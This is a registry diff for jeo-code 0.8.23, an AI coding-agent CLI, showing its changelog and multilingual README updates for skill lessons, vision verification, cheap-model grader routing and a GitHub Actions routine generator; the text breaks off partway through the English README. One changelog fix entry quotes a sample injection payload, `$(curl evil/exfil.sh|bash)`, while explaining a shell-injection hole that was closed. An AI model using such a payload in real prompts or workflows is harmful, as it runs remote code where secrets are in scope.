jeo-code 0.8.22 → 0.8.23
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +21 -0
- package/README.ja.md +14 -2
- package/README.ko.md +14 -2
- package/README.md +14 -2
- package/README.zh.md +14 -2
- package/package.json +1 -1
- package/src/agent/AGENTS.md +1 -1
- package/src/agent/browser-tool.ts +32 -3
- package/src/agent/engine.ts +24 -4
- package/src/agent/loop.ts +3 -2
- package/src/agent/prompt-router.ts +83 -4
- package/src/agent/skill-lessons.ts +315 -0
- package/src/agent/subagents.ts +7 -6
- package/src/agent/task-tool.ts +210 -68
- package/src/agent/vision-verify.ts +75 -0
- package/src/ai/model-catalog.ts +16 -0
- package/src/ai/model-manager.ts +11 -2
- package/src/ai/types.ts +4 -2
- package/src/cli/runner.ts +13 -1
- package/src/commands/launch.ts +118 -23
- package/src/commands/ralplan.ts +40 -3
- package/src/commands/routine.ts +249 -0
- package/src/commands/skills.ts +57 -0
- package/src/util/provider-error.ts +15 -0
- package/src/util/retry.ts +15 -4
- package/src/util/routine-template.ts +206 -0
package/CHANGELOG.md
CHANGED
|
@@ -6,6 +6,27 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
|
|
6
6
|
|
|
7
7
|
The README mirrors the latest 5 entries — regenerate with `bun run changelog:sync`.
|
|
8
8
|
|
|
9
|
+
## [0.8.23] - 2026-07-12
|
|
10
|
+
_Gap analysis against an external "self-improving agent system" framework (Fable-5-style loops: independent verifiers, memory compounding, model-tier cost discipline, and scheduled routines) found jeo-code already had strong equivalents for most primitives — but 3 real gaps and 1 deliberately-scoped-safe gap. Closed all 4: skills that were "hand-authored, read-mostly, zero learning" now compound from real session failures; screenshots that were captured but never judged now close a real vision-verify loop; the `/goal` verifier and bulk fan-out dispatch that silently rode the same full-price model as the work they graded/executed now default to a cheap tier; and "runs without your laptop" is now achievable via a generated GitHub Actions template wrapping jeo's existing headless mode — with zero new attack surface inside jeo-code itself (no code-exec sandbox, no in-process scheduler/webhook receiver, both deliberately rejected as out of scope). Also absorbs 3 fixes shipped after 0.8.22 but never changelogged: a rate-limit fast-fallback audit that closed 4 real gaps, plus the cross-file `mock.module()` test-isolation class this release's own test additions collided with and fixed at its root cause._
|
|
11
|
+
|
|
12
|
+
### Added
|
|
13
|
+
- **Skills self-compounding** (`src/agent/skill-lessons.ts`, wired into `src/commands/launch.ts`'s stall-guard path, `jeo skills lesson`/`jeo skills eval` in `src/commands/skills.ts`) — bundled skills were static, hand-authored, and never learned from real sessions: the only skill-file writers were one-directional bundled→disk installers. A stalled turn (consecutive-failure/cycle/repeat) now ALSO deterministically (no LLM, free-text keyword match against each skill's domain) offers the same failure to the skill system: `recordSkillLesson`/`appendSkillLesson` write it as a `- **title**: detail` bullet into a project-level `.jeo/skills/<name>.md` (seeded from the bundled skill's own text on first write via `bundledSkillFileContent`, idempotent on exact-title re-append), which `loadSkills()` already prefers over the bundled version by name — so the next session's skill invocation picks up the accumulated failure-mode/anti-pattern knowledge automatically. `evalSkillLessons` closes the loop with a genuine self-eval: one batched LLM call judges whether each recorded lesson is still "covered" by the skill's current guidance or has gone "stale", fed by the skill's core body text (lesson sections excluded).
|
|
14
|
+
- **Vision self-check loop** (`src/agent/vision-verify.ts`, wired as a new `verify` verb on `browser {action:"act"}` in `src/agent/browser-tool.ts`) — the browser tool could capture screenshots but nothing ever fed the pixels to a vision-capable model for judgment (the tool's own protocol text told the calling agent to "prefer observe over screenshot"). `browser {action:"act", actions:[{verb:"verify", goal, selector?, fullPage?, design_tokens?, prior_screenshot?}]}` now screenshots, attaches it as a real `ImageAttachment` (confirmed reaching Anthropic's content blocks via the same path clipboard-paste already used), and asks an INDEPENDENT vision-model call (never the maker's own turn) to judge it against `goal` (optionally `design_tokens`, optionally a `prior_screenshot` for before/after compare) — returning a structured `{verdict:"PASS"|"MISMATCH", detail}` instead of requiring a human or the same agent to eyeball a saved PNG path.
|
|
15
|
+
- **Cheap-tier model routing for graders** (`resolveVerifierModel`/`cheapestCredentialed`'s new `filter` param in `src/agent/prompt-router.ts`, wired into the goal-verifier call site in `src/commands/launch.ts`, the `critic` subagent role in `src/agent/subagents.ts`, and unpinned `task` fan-out batches via a new `modelOverride` in `src/agent/task-tool.ts`) — the `/goal` independent verifier previously reused the SAME full-price `activeModel` driving the turn it was grading (directly contradicting the "graders should be cheap" principle: it wasted budget AND reintroduced self-preference risk for self-graded turns), the `critic` role's cheap fallback was hardcoded to exactly 2 model ids instead of a general search, and an unpinned fan-out batch (up to 4 concurrent subagents, the common `task {tasks:[...]}` case) dispatched every worker to the strongest credentialed model regardless of the bulk/high-volume nature of that work. All three now resolve through `resolveVerifierModel`/a general `cheapestCredentialed` search/a mid-tier `fanoutModelOverride` respectively — live-verified: `browser {verify}` genuinely resolved to `claude-haiku-4-5` (not the `claude-sonnet-5` session default) against real credentials. `resolveVerifierModel(config, {requireImages})` filters to vision-capable catalog rows for the vision-verify caller specifically (a text-only cheap model would otherwise silently ignore an attached screenshot rather than error, risking a hallucinated verdict).
|
|
16
|
+
- **`jeo routine init`** (`src/util/routine-template.ts`, `src/commands/routine.ts`) — generates a GitHub Actions workflow (`.github/workflows/<name>.yml`) that runs jeo headlessly (`jeo "<prompt>" -p`, jeo's existing one-shot mode) on a `schedule`/`issues`/`pull_request` trigger (always paired with `workflow_dispatch` for manual runs), on GitHub-hosted runners — achieving "runs without your laptop" with ZERO new attack surface inside jeo-code itself (no in-process scheduler, no webhook listener, no code-exec sandbox: GitHub's own infrastructure does the triggering). Supports `--no-pr` (direct commit) vs the default PR-per-run mode (`peter-evans/create-pull-request`), `--dry-run` (preview without writing), and refuses to overwrite an existing workflow file without `--force`.
|
|
17
|
+
|
|
18
|
+
### Fixed
|
|
19
|
+
- **Shell-injection-prevention in `jeo routine init`'s generated workflow** (`src/util/routine-template.ts`) — the initial implementation inlined `config.prompt` directly into the `run:` step's shell command; since bash performs `$(...)`/backtick command substitution on ANY text in a double-quoted `run:` string, a prompt containing e.g. `$(curl evil/exfil.sh|bash)` would execute with the step's API-key secret in scope. Fixed before ship: the prompt is now passed through an `env:` var (`JEO_ROUTINE_PROMPT`) and referenced as `run: jeo "$JEO_ROUTINE_PROMPT" -p` — bash expands an env var as inert data, never re-parsing its contents as shell syntax. Verified empirically (`JSON.stringify`'s escape output round-trips correctly through YAML double-quoted scalars per both a Python/PyYAML cross-check and bash's own literal-value expansion behavior) and via a dedicated regression test asserting the `run:` line is byte-identical regardless of prompt content.
|
|
20
|
+
- **Cross-file `mock.module()` test-isolation bug, root-caused** (`test/browser-tool.test.ts`) — this release's own new `browser {verify}` tests mocked `../src/agent/vision-verify` per-test with no restoration, permanently corrupting that module for every OTHER test file in the same `bun test` process (including `vision-verify.test.ts`'s own tests of the real implementation) — Bun shares one process-wide module registry across all files in a run. Empirically proved (via isolated minimal reproductions) that this is NOT a simple "leak then restore" bug: EVERY static import binding to a `mock.module()`'d specifier — named, aliased, or namespace, captured before or after the mock — is a LIVE binding in Bun with no way to snapshot a pre-mock value. The only correct fix (matching this codebase's own prior documented fix for the same bug class, commit 57a8bc5): never mock a module from more than one file — `browser-tool.test.ts`'s `verify` tests now mock `callLlm` (`../src/agent/loop`) instead, letting the REAL `visionVerify` run as a genuine integration path. Verified order-independent both directions (`vision-verify.test.ts`+`browser-tool.test.ts` and reversed) and against the full suite.
|
|
21
|
+
- **Rate-limit fast-fallback: 4 gaps closed** (`src/util/provider-error.ts`, `src/ai/model-catalog.ts`, `src/ai/model-manager.ts`, `src/agent/task-tool.ts`, `src/commands/ralplan.ts`) — an in-band SSE `event: error` mid-stream lost its numeric status text, breaking 5xx classification; live-discovered models with no recognizable brand substring (xai/kimi/gemini/etc.) silently defaulted to `"anthropic"`, corrupting credential-scope classification; `task-tool.ts`/`ralplan.ts` subagent calls were completely missing the rate-limit fast-fallback wiring `launch.ts`'s main call already had, riding the full ~90s backoff ladder on every subagent 429. Plus a real end-to-end integration test proving the full `launch.ts → engine.ts → retry.ts → model-manager.ts → provider adapter` chain together, not each layer in its own mocked sandbox.
|
|
22
|
+
- **Rate-limit fallback OAuth-scope exclusion** (`src/agent/prompt-router.ts` — `credentialScopeFor` extracted here from its prior location) — a 429 on one model now correctly excludes the model's WHOLE OAuth subscription scope from the fallback pool (not just the one failed model id), and 402 billing errors are excluded from that scope too.
|
|
23
|
+
|
|
24
|
+
### Verified
|
|
25
|
+
- Full `bun test` — 2997 pass / 0 fail across 299 files (2954 baseline + 43 new: 33 from vision-verify/routine-template/routine tests, 10 from browser-tool/task-tool/skill-lessons additions).
|
|
26
|
+
- `bun run typecheck` — no errors.
|
|
27
|
+
- Live end-to-end (real credentials, real Chromium, real disk writes, no mocks): `jeo doctor` routing preview; `browser {verify}` against a real headless-Chromium screenshot resolving to `claude-haiku-4-5` (cheap tier) and returning a genuine PASS verdict; `jeo skills lesson`/`jeo skills eval` in a scratch repo — the eval correctly judged a deliberately-vague placeholder lesson as "stale" with a substantive LLM-reasoned explanation (not a rubber stamp); `jeo routine init` dry-run and real disk write (including force-overwrite refusal/acceptance and `--json` output) in a scratch git repo.
|
|
28
|
+
- Each new feature's highest-value contracts mutation-tested (disable the fix/logic, confirm the corresponding test fails, restore, confirm it passes again) — including the shell-injection fix, the fan-out `modelOverride` gating, and the vision-verify verdict mapping.
|
|
29
|
+
|
|
9
30
|
## [0.8.22] - 2026-07-11
|
|
10
31
|
_A rescan of the working tree turned up a resume-fidelity gap plus two unwired TUI safety-net helpers left by a concurrent session; each was traced, wired where needed, and verified before shipping._
|
|
11
32
|
|
package/README.ja.md
CHANGED
|
@@ -45,7 +45,10 @@
|
|
|
45
45
|
- **クラッシュ耐久・ローカルファースト** — 全状態は `.jeo/` 配下にアトミック書き込み、プロセス間ロック、失敗タスクマーカー + 再開時の部分編集警告。
|
|
46
46
|
- **動的ステップ予算** — 直近のツール呼び出しが新規の進捗を示す間は延長され、停滞すれば要約に収束。サブエージェントは厳密なステップ契約を維持。
|
|
47
47
|
- **インライン TUI** — 完了した作業は実スクロールバックに流れ(ターン中も tmux ホイール可)、エージェント実行中も通常のクエリ入力欄が表示されたまま編集できます。Ctrl+O の詳細トグル、テーマ、クリップボード画像貼り付け(Ctrl+V)、CJK/絵文字対応の幅計算。
|
|
48
|
-
- **ブラウザツール** — Playwright によるヘッドレス Chromium 自動化を第一級のエージェントツールとして搭載: 名前付きタブを再利用しつつ `open`/`close`/`run`/`act`、スクリーンショットより `observe` でタグ付けした要素 id を優先。`npx playwright install chromium` を一度実行する必要があります(バンドルされていません — jeo 自体はネイティブ依存ゼロのまま、ブラウザバイナリは Playwright 側の別ダウンロードです)。
|
|
48
|
+
- **ブラウザツール** — Playwright によるヘッドレス Chromium 自動化を第一級のエージェントツールとして搭載: 名前付きタブを再利用しつつ `open`/`close`/`run`/`act`、スクリーンショットより `observe` でタグ付けした要素 id を優先。`act {verb:"verify", goal, ...}` はビジュアル QA ループを完結させます: ページをスクリーンショットし、独立したビジョン対応モデルに平易な言葉のゴールと照らして判定させ(`{verdict:"PASS"|"MISMATCH", detail}`)、人間(または同じエージェント)が保存済み PNG を目視確認する必要をなくします。`npx playwright install chromium` を一度実行する必要があります(バンドルされていません — jeo 自体はネイティブ依存ゼロのまま、ブラウザバイナリは Playwright 側の別ダウンロードです)。
|
|
49
|
+
- **蓄積されるスキル** — 行き詰まったターンは、その行き止まりをまさに同じスキルのプロジェクトレベルファイル(`.jeo/skills/<name>.md`、初回書き込み時にバンドルスキルからシード、決定論的なキーワードマッチ、LLM不使用)に書き込むようになりました。これにより次のセッションの `$<skill>` 呼び出しは、バンドルされたドキュメントが永遠に静的なままでいる代わりに、蓄積された「Known Failure Modes」/「Anti-Patterns」の知識を引き継ぎます。`jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"` で手動記録、`jeo skills eval <skill>` は記録済みの各教訓がスキルの現行ガイダンスでまだカバーされているか、それとも陳腐化したかを実際の LLM 判定で確認します。
|
|
50
|
+
- **低コスト層のグレーダールーティング** — `/goal` の検証器、`critic` サブエージェントロール、固定されていない `task` ファンアウトバッチは、採点・実行対象の作業と同じフルプライスモデルに黙って乗る代わりに、デフォルトで低コストのクレデンシャル済みモデルを使用します(`resolveVerifierModel`、ブラウザの `verify` アクションについてはビジョン対応能力でフィルタされ、テキストのみの低コストモデルが添付スクリーンショットを黙って取りこぼすことがありません)。
|
|
51
|
+
- **`jeo routine init`** — スケジュール/issue/PR トリガーで jeo をヘッドレス実行する(`jeo "<prompt>" -p`) GitHub Actions ワークフローを、GitHub 自身のランナー上に生成します — ラップトップは不要で、jeo 自体の内部に新しい攻撃対象領域も一切増えません(インプロセスのスケジューラや Webhook リスナーはありません)。`--dry-run` でプレビュー、`--no-pr` でデフォルトの実行ごとの PR の代わりに直接コミット。
|
|
49
52
|
- **リモートサブエージェント可視化(Telegram)** — ボットを一度ペアリング(`jeo notify setup`)すれば、`jeo daemon start` がサブエージェントの状態遷移(開始 → 完了/失敗/キャンセル)ごとにメッセージを送り、`/subagents`、`/steer <id> <subagentId> <msg>`、`/cancel <id> <subagentId>` を受け付けます。Telegram フォーラムトピック、インラインキーボード、画像添付を含む `gjc` 完全パリティを提供し、コマンドはペアリングされたチャットのみ許可されます。
|
|
50
53
|
|
|
51
54
|
## インストール
|
|
@@ -195,6 +198,15 @@ jeo daemon stop # SIGTERM で停止
|
|
|
195
198
|
| `/cancel <sessionId> <subagentId>` | 実行中のサブエージェントをキャンセル |
|
|
196
199
|
| `/help` | コマンドリファレンスを表示 |
|
|
197
200
|
|
|
201
|
+
## ルーティン(GitHub Actions)
|
|
202
|
+
|
|
203
|
+
```bash
|
|
204
|
+
jeo routine init --trigger schedule --cron "0 7 * * *" --prompt "Re-run the eval suite and post a digest" --dry-run
|
|
205
|
+
jeo routine init --trigger issues --prompt "Triage this issue" --name "issue-triage"
|
|
206
|
+
```
|
|
207
|
+
|
|
208
|
+
GitHub Actions ワークフロー(`.github/workflows/<name>.yml`)を生成し、jeo をインストールして `schedule` / `issues` / `pull_request` でヘッドレス実行します(`jeo "<prompt>" -p`) — 手動テスト実行のために常に `workflow_dispatch` と組み合わせます — GitHub 自身のホステッドランナー上で。これが jeo の「ラップトップなしで動く」ストーリーです: jeo 自体の内部にインプロセスのスケジューラも、Webhook リスナーも、コード実行サンドボックスもありません — GitHub のインフラがトリガーを担い、jeo は既存のヘッドレスモードを実行するだけです。デフォルトでは変更があれば PR を開きます(`peter-evans/create-pull-request`、diff が空なら安全な no-op); `--no-pr` はトリガーしたブランチへ直接コミットします。`--dry-run` は YAML を書き込まずに出力するだけです; 同じ `--out` パスで `jeo routine init` を再実行すると `--force` なしでは上書きを拒否します。ワークフローの最初の実際の実行前に、リポジトリシークレット `ANTHROPIC_API_KEY`(または `--api-key-env <VAR>`)を設定してください。
|
|
209
|
+
|
|
198
210
|
## ローカルモデル
|
|
199
211
|
|
|
200
212
|
```bash
|
|
@@ -265,11 +277,11 @@ CI は `.github/workflows/npm-publish.yml` で公開します — GitHub リリ
|
|
|
265
277
|
## 変更履歴 (Changelog)
|
|
266
278
|
|
|
267
279
|
<!-- CHANGELOG:START (auto-generated from CHANGELOG.md — run `bun run changelog:sync`) -->
|
|
280
|
+
- **[0.8.23]** (2026-07-12) — Gap analysis against an external "self-improving agent system" framework (Fable-5-style loops: independent verifiers, memory compounding, model-tier cost discipline, and scheduled routines) found jeo-code already had strong equivalents for most primitives — but 3 real gaps and 1 deliberately-scoped-safe gap. Closed all 4: skills that were "hand-authored, read-mostly, zero learning" now compound from real session failures; screenshots that were captured but never judged now close a real vision-verify loop; the `/goal` verifier and bulk fan-out dispatch that silently rode the same full-price model as the work they graded/executed now default to a cheap tier; and "runs without your laptop" is now achievable via a generated GitHub Actions template wrapping jeo's existing headless mode — with zero new attack surface inside jeo-code itself (no code-exec sandbox, no in-process scheduler/webhook receiver, both deliberately rejected as out of scope). Also absorbs 3 fixes shipped after 0.8.22 but never changelogged: a rate-limit fast-fallback audit that closed 4 real gaps, plus the cross-file `mock.module()` test-isolation class this release's own test additions collided with and fixed at its root cause.
|
|
268
281
|
- **[0.8.22]** (2026-07-11) — A rescan of the working tree turned up a resume-fidelity gap plus two unwired TUI safety-net helpers left by a concurrent session; each was traced, wired where needed, and verified before shipping.
|
|
269
282
|
- **[0.8.21]** (2026-07-10) — "반영할꺼 같은방식으로 체크하고 배포까지" — a rescan of the working tree (after the prior audit pass) turned up 15 uncommitted files: 3 genuinely distinct features left unwired by a concurrent session, partially casualty of an earlier accidental `git checkout` incident this session (disclosed in the 0.8.20 entry above). Each was independently traced from its existing plumbing, wired to a real call site, tested, and one live-verified end-to-end over a real PTY before shipping.
|
|
270
283
|
- **[0.8.20]** (2026-07-10) — "모든 검증 다시 리뷰하고 변경사항 모두 체크해" — 4 fresh, skeptical subagents independently re-audited every change from v0.8.17-0.8.19 (bc8768f..92c6b7d) with zero trust in prior claims: a code-correctness auditor manually traced the Antigravity routing logic against the live catalog, a test-integrity auditor mutation-tested the new tests (confirmed each one genuinely fails when its fix is reverted) and ran the suite fresh, a live-behavior verifier re-reproduced all 4 behavioral claims from scratch with self-generated data (own session ids, own mock server, own HTTP status code), and a docs-accuracy auditor cross-checked every README/CHANGELOG claim against current code in isolated git worktrees. Verdict: all core logic and tests GENUINE/CONFIRMED CORRECT — but the audit surfaced 1 real doc staleness gap, 1 changelog count error, and 2 minor precision gaps, all fixed here.
|
|
271
284
|
- **[0.8.19]** (2026-07-09) — "프롬프트 라우팅에 안티그라비티 프로바이더의 경우, 안티그라비티용 소넷과 오퍼스도 3.5급으로 라우팅될수있도록해줘" — Antigravity re-exports 3 distinct model families (Anthropic Claude, Google Gemini, OpenAI GPT-OSS) behind one credential, structurally unlike every other provider. `high`/`complex` tier auto-select always resolved to Google's Gemini 3.5 rows: Anthropic's real 64,000-token output ceiling lost a same-thinking-tier tie to Google's 65,536 by a margin with no practical significance, and Gemini's 1M-token context further outranked Claude's real 200K window — so `antigravity/claude-sonnet-4-6`/`antigravity/claude-opus-4-6-thinking` were NEVER reachable through auto-select, even though both were already correctly `sizeClass`-tagged into the `high`/`complex` pools.
|
|
272
|
-
- **[0.8.18]** (2026-07-09) — "라우팅 매 프롬프트마다 변경되는지, route why 의도대로 동작하는지 검증하고 배포할게있는지 확인해줘" — 2 parallel subagents live-verified per-prompt routing + `/route why` (including the previously-only-unit-tested post-call equivalent-model fallback path, now reproduced against a real mock 500-error server) and audited a disconnected `RouteHistory` class shipped as incomplete scaffolding in 0.8.16/0.8.17 (class + 11 tests existed, but nothing ever called it — no `/route history` subcommand, no wiring into the turn loop). Live testing also surfaced one real bug: the TUI footer's model/provider label never updated after a mid-turn fallback, staying on the pre-fallback model for the rest of that turn's render even though the backend decision (`lastRouteDecision`) was already correct.
|
|
273
285
|
|
|
274
286
|
See [CHANGELOG.md](CHANGELOG.md) for the full history.
|
|
275
287
|
<!-- CHANGELOG:END -->
|
package/README.ko.md
CHANGED
|
@@ -45,7 +45,10 @@
|
|
|
45
45
|
- **크래시 내구·로컬 우선** — 모든 상태는 `.jeo/` 아래 원자적 쓰기, 크로스 프로세스 런 락, 실패 태스크 마커 + 재개 시 부분 편집 경고.
|
|
46
46
|
- **동적 스텝 버짓** — 최근 도구 호출이 새로운 진전을 보이는 동안 연장되고, 정체되면 정리 요약으로 수렴. 서브에이전트는 정확한 스텝 계약 유지.
|
|
47
47
|
- **인라인 TUI** — 완료된 작업은 실제 스크롤백으로 흘러가고(턴 중에도 tmux 휠 스크롤 가능), 에이전트가 실행 중이어도 기존 쿼리 입력창이 그대로 보이며 편집됩니다. Ctrl+O 상세 토글, 테마, 클립보드 이미지 붙여넣기(Ctrl+V), CJK/이모지 안전 폭 계산.
|
|
48
|
-
- **브라우저 도구** — Playwright 기반 헤드리스 Chromium 자동화가 1급 에이전트 도구로 포함: 이름 붙은 탭을 재사용하며 `open`/`close`/`run`/`act`, 스크린샷보다 `observe`로 태깅된 요소 id를 우선 사용. `npx playwright install chromium`을 한 번 실행해야 함(번들 아님 — jeo 자체는 여전히 네이티브 의존성 0, 브라우저 바이너리는 Playwright의 별도 다운로드).
|
|
48
|
+
- **브라우저 도구** — Playwright 기반 헤드리스 Chromium 자동화가 1급 에이전트 도구로 포함: 이름 붙은 탭을 재사용하며 `open`/`close`/`run`/`act`, 스크린샷보다 `observe`로 태깅된 요소 id를 우선 사용. `act {verb:"verify", goal, ...}`는 비주얼 QA 루프를 완결시킵니다: 페이지를 스크린샷으로 찍고 독립적인 비전 지원 모델에게 평이한 언어의 목표와 대조해 판단하도록 요청해(`{verdict:"PASS"|"MISMATCH", detail}`), 사람(또는 같은 에이전트)이 저장된 PNG를 직접 눈으로 확인할 필요를 없앱니다. `npx playwright install chromium`을 한 번 실행해야 함(번들 아님 — jeo 자체는 여전히 네이티브 의존성 0, 브라우저 바이너리는 Playwright의 별도 다운로드).
|
|
49
|
+
- **누적되는 스킬** — 정체된 턴은 이제 그 막다른 지점을 바로 그 스킬의 프로젝트 레벨 파일(`.jeo/skills/<name>.md`, 첫 작성 시 번들 스킬로 시드, 결정론적 키워드 매칭, LLM 미사용)에 기록하므로, 다음 세션의 `$<skill>` 호출은 번들 문서가 영원히 정적으로 남는 대신 누적된 "Known Failure Modes"/"Anti-Patterns" 지식을 함께 가져갑니다. 수동 항목은 `jeo skills lesson <skill> <failure|anti-pattern> "<title>" "<detail>"`로; `jeo skills eval <skill>`은 기록된 각 교훈이 스킬의 현재 가이던스로 여전히 커버되는지 아니면 낡았는지를 실제 LLM 판단으로 확인합니다.
|
|
50
|
+
- **저비용 등급 채점 라우팅** — `/goal` 검증기, `critic` 서브에이전트 역할, 그리고 고정되지 않은 `task` 팬아웃 배치는 채점·실행 대상인 작업과 같은 풀프라이스 모델에 조용히 편승하는 대신 기본적으로 저비용 크레덴셜 모델을 사용합니다(`resolveVerifierModel`, 브라우저 `verify` 액션에 대해서는 비전 능력으로 필터링되어 텍스트 전용 저비용 모델이 첨부된 스크린샷을 조용히 누락시키지 않도록 합니다).
|
|
51
|
+
- **`jeo routine init`** — 스케줄/이슈/PR 트리거에서 jeo를 헤드리스로 실행하는(`jeo "<prompt>" -p`) GitHub Actions 워크플로를 생성합니다, GitHub 자체 러너 위에서 — 노트북이 필요 없고, jeo 내부에 새로운 공격 표면도 전혀 추가되지 않습니다(인프로세스 스케줄러도 웹훅 리스너도 없음). `--dry-run`으로 미리보기, `--no-pr`로 기본값인 실행당 PR 대신 직접 커밋.
|
|
49
52
|
- **원격 서브에이전트 가시성(Telegram)** — 봇을 한 번 페어링(`jeo notify setup`)하면, `jeo daemon start`가 서브에이전트 상태 전환(시작 → 완료/실패/취소)마다 메시지를 보내고 `/subagents`, `/steer <id> <subagentId> <msg>`, `/cancel <id> <subagentId>`를 되받습니다. 이제 Telegram 포럼 토픽, 인라인 키보드, 이미지 첨부 파일 지원 등 `gjc`와의 완전한 패리티를 제공하며, 명령은 페어링된 채팅에서만 허용됩니다.
|
|
50
53
|
|
|
51
54
|
|
|
@@ -196,6 +199,15 @@ jeo daemon stop # SIGTERM으로 종료
|
|
|
196
199
|
| `/cancel <sessionId> <subagentId>` | 실행 중인 서브에이전트 취소 |
|
|
197
200
|
| `/help` | 명령 안내 표시 |
|
|
198
201
|
|
|
202
|
+
## 루틴 (GitHub Actions)
|
|
203
|
+
|
|
204
|
+
```bash
|
|
205
|
+
jeo routine init --trigger schedule --cron "0 7 * * *" --prompt "Re-run the eval suite and post a digest" --dry-run
|
|
206
|
+
jeo routine init --trigger issues --prompt "Triage this issue" --name "issue-triage"
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
GitHub Actions 워크플로(`.github/workflows/<name>.yml`)를 생성해 jeo를 설치하고 `schedule` / `issues` / `pull_request`에서 헤드리스로 실행합니다(`jeo "<prompt>" -p`) — 수동 테스트 실행을 위해 항상 `workflow_dispatch`와 함께 짝지어집니다 — GitHub 자체 호스팅 러너 위에서. 이것이 jeo의 "노트북 없이 동작"하는 이야기입니다: jeo 자체 내부에 인프로세스 스케줄러도, 웹훅 리스너도, 코드 실행 샌드박스도 없습니다 — GitHub의 인프라가 트리거를 담당하고, jeo는 기존 헤드리스 모드를 그대로 실행할 뿐입니다. 기본적으로 변경사항이 있으면 PR을 엽니다(`peter-evans/create-pull-request`, diff가 비어 있으면 안전하게 no-op); `--no-pr`은 대신 트리거한 브랜치에 직접 커밋합니다. `--dry-run`은 YAML을 작성하지 않고 출력만 합니다; 동일한 `--out` 경로에서 `jeo routine init`을 재실행하면 `--force` 없이는 덮어쓰기를 거부합니다. 워크플로의 첫 실제 실행 전에 저장소 시크릿 `ANTHROPIC_API_KEY`(또는 `--api-key-env <VAR>`)를 설정하세요.
|
|
210
|
+
|
|
199
211
|
## 로컬 모델
|
|
200
212
|
|
|
201
213
|
```bash
|
|
@@ -266,11 +278,11 @@ CI는 `.github/workflows/npm-publish.yml`로 배포합니다 — GitHub 릴리
|
|
|
266
278
|
## 변경 이력 (Changelog)
|
|
267
279
|
|
|
268
280
|
<!-- CHANGELOG:START (auto-generated from CHANGELOG.md — run `bun run changelog:sync`) -->
|
|
281
|
+
- **[0.8.23]** (2026-07-12) — Gap analysis against an external "self-improving agent system" framework (Fable-5-style loops: independent verifiers, memory compounding, model-tier cost discipline, and scheduled routines) found jeo-code already had strong equivalents for most primitives — but 3 real gaps and 1 deliberately-scoped-safe gap. Closed all 4: skills that were "hand-authored, read-mostly, zero learning" now compound from real session failures; screenshots that were captured but never judged now close a real vision-verify loop; the `/goal` verifier and bulk fan-out dispatch that silently rode the same full-price model as the work they graded/executed now default to a cheap tier; and "runs without your laptop" is now achievable via a generated GitHub Actions template wrapping jeo's existing headless mode — with zero new attack surface inside jeo-code itself (no code-exec sandbox, no in-process scheduler/webhook receiver, both deliberately rejected as out of scope). Also absorbs 3 fixes shipped after 0.8.22 but never changelogged: a rate-limit fast-fallback audit that closed 4 real gaps, plus the cross-file `mock.module()` test-isolation class this release's own test additions collided with and fixed at its root cause.
|
|
269
282
|
- **[0.8.22]** (2026-07-11) — A rescan of the working tree turned up a resume-fidelity gap plus two unwired TUI safety-net helpers left by a concurrent session; each was traced, wired where needed, and verified before shipping.
|
|
270
283
|
- **[0.8.21]** (2026-07-10) — "반영할꺼 같은방식으로 체크하고 배포까지" — a rescan of the working tree (after the prior audit pass) turned up 15 uncommitted files: 3 genuinely distinct features left unwired by a concurrent session, partially casualty of an earlier accidental `git checkout` incident this session (disclosed in the 0.8.20 entry above). Each was independently traced from its existing plumbing, wired to a real call site, tested, and one live-verified end-to-end over a real PTY before shipping.
|
|
271
284
|
- **[0.8.20]** (2026-07-10) — "모든 검증 다시 리뷰하고 변경사항 모두 체크해" — 4 fresh, skeptical subagents independently re-audited every change from v0.8.17-0.8.19 (bc8768f..92c6b7d) with zero trust in prior claims: a code-correctness auditor manually traced the Antigravity routing logic against the live catalog, a test-integrity auditor mutation-tested the new tests (confirmed each one genuinely fails when its fix is reverted) and ran the suite fresh, a live-behavior verifier re-reproduced all 4 behavioral claims from scratch with self-generated data (own session ids, own mock server, own HTTP status code), and a docs-accuracy auditor cross-checked every README/CHANGELOG claim against current code in isolated git worktrees. Verdict: all core logic and tests GENUINE/CONFIRMED CORRECT — but the audit surfaced 1 real doc staleness gap, 1 changelog count error, and 2 minor precision gaps, all fixed here.
|
|
272
285
|
- **[0.8.19]** (2026-07-09) — "프롬프트 라우팅에 안티그라비티 프로바이더의 경우, 안티그라비티용 소넷과 오퍼스도 3.5급으로 라우팅될수있도록해줘" — Antigravity re-exports 3 distinct model families (Anthropic Claude, Google Gemini, OpenAI GPT-OSS) behind one credential, structurally unlike every other provider. `high`/`complex` tier auto-select always resolved to Google's Gemini 3.5 rows: Anthropic's real 64,000-token output ceiling lost a same-thinking-tier tie to Google's 65,536 by a margin with no practical significance, and Gemini's 1M-token context further outranked Claude's real 200K window — so `antigravity/claude-sonnet-4-6`/`antigravity/claude-opus-4-6-thinking` were NEVER reachable through auto-select, even though both were already correctly `sizeClass`-tagged into the `high`/`complex` pools.
|
|
273
|
-
- **[0.8.18]** (2026-07-09) — "라우팅 매 프롬프트마다 변경되는지, route why 의도대로 동작하는지 검증하고 배포할게있는지 확인해줘" — 2 parallel subagents live-verified per-prompt routing + `/route why` (including the previously-only-unit-tested post-call equivalent-model fallback path, now reproduced against a real mock 500-error server) and audited a disconnected `RouteHistory` class shipped as incomplete scaffolding in 0.8.16/0.8.17 (class + 11 tests existed, but nothing ever called it — no `/route history` subcommand, no wiring into the turn loop). Live testing also surfaced one real bug: the TUI footer's model/provider label never updated after a mid-turn fallback, staying on the pre-fallback model for the rest of that turn's render even though the backend decision (`lastRouteDecision`) was already correct.
|
|
274
286
|
|
|
275
287
|
See [CHANGELOG.md](CHANGELOG.md) for the full history.
|
|
276
288
|
<!-- CHANGELOG:END -->
|
package/README.md
CHANGED
|
@@ -50,7 +50,10 @@ Run `jeo` inside a repository and it reads files, edits them, runs commands, and
|
|
|
50
50
|
- **Crash-durable, local-first** — all state under `.jeo/` with atomic writes, cross-process run locks, failed-task markers with partial-edit warnings on resume.
|
|
51
51
|
- **Dynamic step budget** — turns extend while the tool window shows novel progress and consolidate gracefully when stalled; subagents keep exact step contracts.
|
|
52
52
|
- **Inline TUI** — completed work flushes into real scrollback (tmux wheel works mid-turn), the normal query input box stays visible and editable while the agent runs, Ctrl+O toggles full detail, themes, clipboard image paste (Ctrl+V), CJK/emoji-safe width math.
|
|
53
|
-
